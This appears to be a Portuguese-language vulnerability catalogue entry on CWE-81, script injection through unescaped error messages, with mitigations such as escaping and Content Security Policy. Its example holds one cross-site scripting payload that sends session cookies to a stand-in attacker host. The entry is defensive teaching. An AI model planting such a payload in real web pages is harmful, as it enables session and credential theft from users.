Weaknesses of type CWE-81

9 results

Falta de neutralização de scripts em mensagens de erro

Quando uma aplicação web exibe mensagens de erro sem sanitizar conteúdo fornecido pelo usuário, um atacante consegue injetar JavaScript malicioso nessa mensagem. O navegador executa o script como se fosse conteúdo legítimo da página, permitindo roubo de sessão, credenciais ou manipulação do DOM. O perigo está em tratar entrada não confiável como segura no contexto HTML.

Example

Um formulário de login que retorna erro como 'Usuário [valor digitado] não encontrado' sem escapar caracteres especiais. Se o atacante entra '<img src=x onerror="fetch(attacker.com?cookie='+document.cookie)">', o script executa e envia cookies da sessão para o servidor do atacante.

How to mitigate

Escapar todas as variáveis dinâmicas em mensagens de erro usando funções de encoding específicas do contexto (ex: htmlspecialchars em PHP, template engines com auto-escape em JS/Python). Validar entrada e usar Content Security Policy (CSP) como camada adicional para bloquear inline scripts não autorizados.